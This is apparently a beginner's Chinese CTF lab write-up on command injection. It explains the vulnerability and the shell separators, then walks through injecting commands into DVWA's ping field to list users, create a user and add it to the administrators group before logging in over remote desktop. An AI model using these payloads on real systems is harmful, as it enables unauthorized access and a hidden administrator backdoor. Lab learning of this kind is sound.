CTF之萌新web学习2
程序员文章站
2022-03-04 19:36:46
...
命令执行
命令注入漏洞的危害与web中间件运行权限有关。由于web应用运行在web中间件上,所有web应用会“继承”web中间件的运行权限。黑客可以利用漏洞任意的执行权限允许的命令,比如:查看系统敏感信息,添加管理员,反弹shell,下载并运行恶意代码等。一旦中间件权限分配过大,黑客将直接控制我们的web服务器。
命令注入的本质: 系统把用户输入的参数当成了要执行的命令,并且这些命令被执行了。
命令注入产生的原因:
- web网站没有对用户提交的参数进行有效的检测过滤
- 操作系统允许一条语句执行多条命令(连接符和管道符)
windows操作系统命令
命令 | 功能 |
---|---|
ping | 检测网络连通性 |
ipconfig | 查看当前ip地址 |
netstat | 查看网络端口及连接情况 |
net user | 查看,增加,删除当前系统用户 |
net localgroup | 查看,增加,删除当前系统用户组 |
dir | 列出当前目录下的文件和子目录信息 |
req | 注册表及其相关操作 |
systeminfo | 查看当前计算机的综合信息 |
tasklist | 显示当前运行的进程信息(可查看PID) |
inux操作系统命令
命令 | 功能 |
---|---|
ifconfig | 查看当前ip,mac等信息 |
netstat | 查看网络端口及连接情况 |
whoami | 查看当前用户 |
cat | 查看文件内容 |
ls | 查看当前目录下的文件和子目录信息 |
useradd | 添加用户 |
userdel | 删除用户 |
passwd | 修改用户密码 |
这里只是简单列举,具体语句使用自行百度即可。凑字数
关键的来了!!
windows:
命令格式 | 含义 |
---|---|
command1 & command2 | 先后执行command1和command2,无论command1是否执行成功 |
command1 && command2 | 先后执行command1和command2,只有command1执行成功时才执行command2 |
command1 || command2 | 先后执行command1和command2,只有command1执行失败时才执行command2 |
command | command2 | | 是管道符,将command1执行的结果传递给command2 |
linux:
命令格式 | 含义 |
---|---|
command1 ; command2 | 先后执行command1和command2,无论command1是否执行成功 |
command1 && command2 | 先后执行command1和command2,只有command1执行成功时才执行command2 |
command1 || command2 | 先后执行command1和command2,只有command1执行失败时才执行command2 |
command1 | command2 | | 是管道符,将command1执行的结果传递给command2 |
就第一个命令有差别
开始实验
靶机ip地址172.16.12.2,系统win2003
实验环境:DVWA 等级:low
账号admin,密码password 登录
进行ping命令
尝试命令注入
172.16.12.2 & net user
可行,后面得到了用户信息,接着创建新用户111
172.16.12.2 & net user 111 111 /add
查看是否创建成功
成功完成第一步,接着将111用户添加到管路员权限下
首先查看管理员组
172.16.12.2 & net localgroup administrators
进行添加我们的用户
172.16.12.2 & net localgroup administrators 111 /add
再进行查看就出现了
随后通过3389进入,win+R运行mstsc得到远程桌面
输入ip,输入密码账号
成功得到flag
补充一点,若为未开启3389,可参考,或自行百度即可。
开启 3389 的 cmd 命令
因为是萌新,有错误之处请多多包涵,并感谢i春秋提供的课程以及环境虽然两倍速看的
有时间更新中级和高级(先自己搞懂。。。)
可参考师傅们的文章:
命令执行漏洞简介
Web安全 - 命令执行漏洞
Web安全之命令执行漏洞